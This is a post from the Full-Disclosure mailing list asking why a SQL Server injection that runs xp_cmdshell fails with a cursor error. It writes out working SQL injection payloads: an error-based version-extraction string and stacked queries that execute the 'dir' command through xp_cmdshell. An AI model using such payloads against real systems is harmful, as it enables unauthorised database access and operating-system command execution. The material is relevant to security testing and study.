[Full-disclosure] SQL Injection with cursors?

["Andres Molinetti" <andymolinetti@xxxxxxxxxxx>]

Hi,

I have another question, somehow related with my previous one.

I have an injection point, where I can do, for example

        test.asp?param=blabla' and 1=(select @@version)--

and injections of the sort, and retrieve the information without problems.

Now, when I try to execute a stored procedure like

       test.asp?param=blabla' exec master..xp_cmdshell 'dir'--

or

       test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--

I get the following error:

Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single 
select or a single stored procedure.

Does anybody got an idea of why this is happening?

Best Regards,

Andy.

_________________________________________________________________
Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con 
MSN Entretenimiento. http://entretenimiento.msn.es/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/